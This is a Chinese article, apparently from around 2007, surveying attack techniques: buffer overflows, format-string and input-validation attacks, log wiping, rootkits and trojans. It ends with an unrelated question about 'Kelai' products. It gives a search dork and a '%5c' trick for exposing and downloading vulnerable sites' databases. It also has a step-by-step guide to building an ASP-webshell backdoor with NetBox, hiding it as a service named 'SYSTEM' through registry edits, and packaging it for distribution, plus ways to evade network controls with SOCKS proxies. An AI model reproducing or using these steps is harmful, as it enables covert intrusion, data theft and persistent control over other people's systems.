4、数据驱动攻击技术及其新发展
数据驱动攻击是通过向某个程序发送数据,以产生非预期结果的攻击,通常为攻击者给出访问目标系统的权限,数据驱动攻击分为缓冲区溢出攻击、格式化字符串攻击、输入验证攻击、同步漏洞攻击、信任漏洞攻击等。
第1种,缓冲区溢出攻击。缓冲区溢出攻击的原理是向程序缓冲区写入超出其边界的内容,造成缓冲区的溢出,使得程序转而执行其他攻击者指定的代码,通常是为攻击者打开远程连接的ShellCode,以达到攻击目标。近年来著名的蠕虫如Code-Red、SQL.Slammer、Blaster 和Sasser 等,都是通过缓冲区溢出攻击获得系统权限后进行传播。
第2种,同步漏洞攻击。这种方法主要是利用程序在处理同步操作时的缺陷,如竞争状态。信号处理等问题,以获取更高权限的访问。发掘信任漏洞攻击则利用程序滥设的信任关系获取访问权的一种方法,著名的有Win32 平台下互为映像的本地和域Administrator 凭证、LSA 密码(Local SecurityAuthority)和Unix 平台下SUID 权限的滥用和X Window 系统的xhost 认证机制等。
第3种,格式化字符串攻击。这种方法主要是利用由于格式化函数的微妙程序设计错误造成的安全漏洞,通过传递精心编制的含有格式化指令的文本字符串,以使目标程序执行任意命令。输入验证攻击针对程序未能对输入进行有效的验证的安全漏洞,使得攻击者能够让程序执行指定的命令。
下面是一个很有代表性的例子。打开某些网页时,可以把网址中的“/”换成“%5c”然后提交,这样就可以暴出数据库的路径。成功后,会有类似的提示:“确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。” 在Google或者百度中,搜索关键词“wishshow.asp?id=”,找到一些具有缺陷的的许愿板程序。本例是一个台湾测试站点,地址为xxxx。在wish后,用“%5c”替换“/”,地址就变成了xxxx,这样就可以暴出对方数据库了。根据错误提示,数据库是db.mdb,而且还可以直接下载。如图所示。
“%5c”并不是网页本身的漏洞,而是利用了IIS解码方式的一个缺陷。实际上是“/”的十六进制代码,是“/”的另一种表示法。但是,提交“/”和“%5c”却会产生不同的结果。在IE中,我们把下面第一个地址中的“/”换成“/”提交:
二者的访问结果是一样的。IE会自动把“/”转变成“/”,从而访问到同一地址。但是,当我们把“/”换成十六进制写法“%5c”时,IE就不会对此进行转换,地址中的“%5c”被原样提交了。2007年以来,针对网站、论坛等程序的攻击依然是一大热点,一些大学网站、论坛甚至一些知名企业的站点都遭遇了不同程度的攻击。比较热门的事件有:OBlog2.52文件删除漏洞、COCOON在线文件管理器上传漏洞、PJBlog v2.2用户提权再提权、BBSXP 6.0 SQL版的版主提权漏洞、雪人“SF v2.5 for Access”版论坛漏洞等,这些攻击手法都综合了多种技巧,尤其是数据驱动攻击技术的运用。
5、隐藏技术及其新发展
相关文章:安全基础:木马各种隐藏技术全方位披露
攻击者在完成其攻击目标后,通常会采取隐藏技术来消除攻击留下的蛛丝马迹,避免被系统管理员发现,同时还会尽量保留隐蔽的通道,使其以后还能轻易的重新进入目标系统。隐藏技术主要包括日志清理、内核套件、安装后门等。
第1种,日志清理。日志清理主要对系统日志中攻击者留下的访问记录进行清除,从而有效地抹除自己的动踪迹。Unix平台下较常用的日志清理工具包括zap、wzap、wted 和remove。攻击者通常在获得特权用户访问权后会安装一些后门工具,以便轻易地重新进入或远程控制该主机,著名的后门工具包括BO、netbus和称为“瑞士军刀”的netcat等;攻击者还可对系统程序进行特洛伊木马化,使其隐藏攻击者留下的程序、服务等。
第2种,内核套件。内核套件则直接控制操作系统内核,提供给攻击者一个完整的隐藏自身的工具包。
第3种,安装木马后门。木马的危害性在于它对电脑系统强大的控制和破坏能力,窃取密码、控制系统操作、进行文件操作等等,一般的木马都有客户端和服务器端两个执行程序,其中客户端是用于攻击者远程控制植入木马的机器,服务器端程序即是木马程序。木马在被植入攻击主机后,它一般会通过一定的方式把入侵主机的信息,如主机的IP地址、木马植入的端口等发送给攻击者,这样攻击者有这些信息才能够与木马里应外合控制攻击主机。本文将通过网络盒子NetBox做一个木马,它可以方便的将ASP等脚本编译成为独立运行的执行程序,完全不用考虑平台兼容性要求。步骤如下:
第1步:创建一个NetBox应用。创建一个空的目录,假设是c:/web;同时,在目录中创建一个文件,命名为main.box,其内容为:
Dim http
'------------设置在服务中运行的名称,可适当修改进行隐藏---------------------
Shell.Service.RunService "NBWeb", "NetBox Web Server", "NetBox Http Server Sample"
'---------------------- 设置服务器启动---------------------
Sub OnServiceStart()
Set httpd = CreateObject("NetBox.HttpServer")
'-------以下设置浏览端口,可修改为其他参数,或更改wwwroot目录----
If httpd.Create("", 8080) = 0 Then
Set host = httpd.AddHost("", "/wwwroot")
host.EnableScript = true
host.AddDefault "default.asp"
host.AddDefault "default.htm"
httpd.Start
else
Shell.Quit 0
end if
End Sub
Sub OnServiceStop()
httpd.Close
End Sub
Sub OnServicePause()
httpd.Stop
End Sub
Sub OnServiceResume()
httpd.Start
End Sub
第2步:设置木马运行环境。在c:/web目录中再创建一个子目录wwwroot,并将我们所需要的ASP木马文件全部复制到wwwroot 中,这里选用的是海阳顶端ASP木马。此时,ASP运行环境应该已经准备好了。为了运行新建的NetBox 应用,必须确认8080端口没有被其他程序占用。双击main.box文件,就可以在窗口右下角看见NetBox的图标。此时,NetBox 已经正常运行了。现在,访问http://localhost:8080/测试ASP木马是否能正常运行。这种木马的好处是,不用担心有日志记录。但是现在它还远不是一个后门,只是提供了与IIS相当的功能
第3步:编译。执行“NetBox Deployment Wizard”,点击“选择文件夹”,找到刚才建立的目录C:/web,设置文件类型和输出文件名后,点“Build...(编译)”按钮,开始编译,就得到了编译成功的那个执行文件。因为这个例程是以服务方式创建的Web 服务器,所以可以在命令行下执行:myapp -install将应用安装成为服务,这样,系统无须登录便可以自动运行应用了。如果需要卸载服务,则可以在命令行下执行如下命令:myapp –remove。(myapp代表输出的应用文件名,如本例中的test),如图所示。
第4步:隐藏服务。要达到“神不知鬼不觉”的效果,首先需要把应用程序添加为服务,我们可以使用Windows提供的Instsrv.exe和Srvany.exe这两个小软件。在命令行下,先把Instsrv.exe把Srvany.exe注册为服务。格式为:INSTSRV 服务名 SRVANY的路径,如:“INSTSRV SYSTEM C:/WEB/SRVANY.EXE”。其中SYSTEM是为了便于隐藏服务名。
第5步:添加注册表键值。注册成功后,打开注册表如下键值:[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SYSTEM]。SYSTEM是刚才我们注册的服务名,在SYSTEM下面先建立一个项PARAMETERS,然后在这个项上建立一个键值APPLICATION,填上我们要执行的文件路径如C:/web/test.exe,就可以了。
第6步:启动服务。方法有两种,第一种是在图形界面,直接进入“管理工具”下的“服务”面板;另一种是在命令行下,启动命令为:“NET START SYSTEM”,停止命令为:“NET STOP SYSTEM”。如果要将这个服务删除,可以用如下命令:“SC DELETE SYSTEM”。
第7步:制作并发布木马。结合批处理和脚本把这个做成自解压文件,或者其他的上传方式,比如通过后台数据库备份上传后再修改密码。
值得注意的是,2007年木马技术发展迅猛,除了一些老牌木马,其他有特色的木马也让人头疼不已,例如管理型木马——ncph远程控制;国产木马新秀PCView 2007;五毒俱全的蜜蜂大盗;木马Erazer Lite;另类的远程控制工具JXWebSver等。这些木马隐藏技术的不断提高,也给用户带来了许多麻烦。
通过上面的详细分类,就可以对本年度的攻击技术情况有了一个十分直观的认识。下面,我们通过典型的案例进行点评。
四、实例分析
现实生活中,网络应用越来越复杂,利用浏览器、网站插件、代码等方面的漏洞进行攻击的事件也愈演愈烈,甚至被有心人士用来窃取顾客的私人信息。一般来说,漏洞的威胁类型基本上决定了它的严重性,很多公司在公布安全漏洞的危险等级时候,把严重性*********高、中、低三个级别,再提示用户根据具体的情况,要采取程度不同的防范措施。在网络攻击者的眼里,“肉鸡”意味着可以轻松占有一台或多台服务器;至于网吧,针对服务器和网吧管理软件的攻击也十分频繁,醉翁之意不在酒,当然是想免费上网了。
针对网络服务器的攻击,也出现了许多独特的思路和新方法。如利用SA用户权限的安全隐患快速入侵网站;利用wmf远程执行漏洞(MS06-001)攻击服务器;利用Metasploit Framework体验MS06-040漏洞;利用Ability FTP Server新漏洞入侵网站;利用Windows图形渲染引擎WMF格式代码执行漏洞;利用文件后缀解析的漏洞攻击Apache服务器;百度、TOM、21CN系列搜索引擎漏洞等。
现在,网络管理员加强了内网的安全管理。比较常见的情况是网管通常都会封杀比较常见的服务端口,导致用户不能访问某些网站,不能使用QQ等工具进行聊天、玩游戏等。另外,出于安全考虑,有些网络管理员会限制某些协议,如不能使用FTP、对下载进行限制等。一般情况下,网络攻击者可以使用普通的HTTP代理或者SOCKS代理。现在,提供socks服务的代理软件有很多,软件连通后,界面如图所示。
Socksonline正常启动后,该程序就变成了本地的Socks Proxy,用户就可以通过Http Proxy或其他Proxy访问Internet了。如果要突破内网登陆QQ,可以打开QQ中的设置窗口输入参数。以QQ2007为例,在“代理设置”界面中,选择“使用SOCKS5代理服务器”。然后在代理服务器地址栏填入“localhost”,在端口栏填入“1080”或自己设置的服务端口,默认不需要用户名和密码验证。可以单击“测试”按钮,看是否连接网络。
同样,如果要突破内网,实现自由上网,也可以使用类似方法在IE浏览器中设置SOCKS5代理服务器。如果身处学校机房或管理比较严格的单位网络,还可以通过Socksonline和e-Border软件的配合,突破内网的限制就很容易了。
e-Border安装完成后,会弹出一个设置客户端程序的窗口,根据向导设置代理服务器名和默认的端口1080。在e-Border的代理方式中,选择Proxy only方式,表示将所有的网络连接全部截获并通过Socks代理连接。然后按下“Include list(包含列表)”按钮,在弹出的对话框中按下Add(添加)按钮,把Socksonline软件加入到列表框中。用同样的方法把平时上网需要使用Socks协议的软件都加入列表框。当然,网络攻击者也可以把一些特殊的黑客工具软件和游戏软件也添加进去。点OK关闭此对话框。如图 所示。
这样,无论是内网还是外网,攻击者都可以横行了,这也是目前很多网络管理员比较头疼的一个地方。在山东临沂银雀山出土的《孙膑兵法》上,有这样一段对话。齐威王曰:“地平卒齐,合而败北者,何也?”(翻译为:地形很好,士兵也很齐心,为什么打了败仗?)孙膑的回答是:“阵无锋也。”意即:“因为没有找到突破口。”这个典故说明了两军对垒,能否突破一点,向纵深进兵,往往是能否夺取全局性胜利的重要关键。总之,在网络安全实践中,我们也必须随时掌握最新的攻击技术发展动态,寻找防守的突破口,这样才能达到有效防范的目的。
最后我有个小问题,对于科来产品我不是很了解,请问这与科来产品有哪些不同? |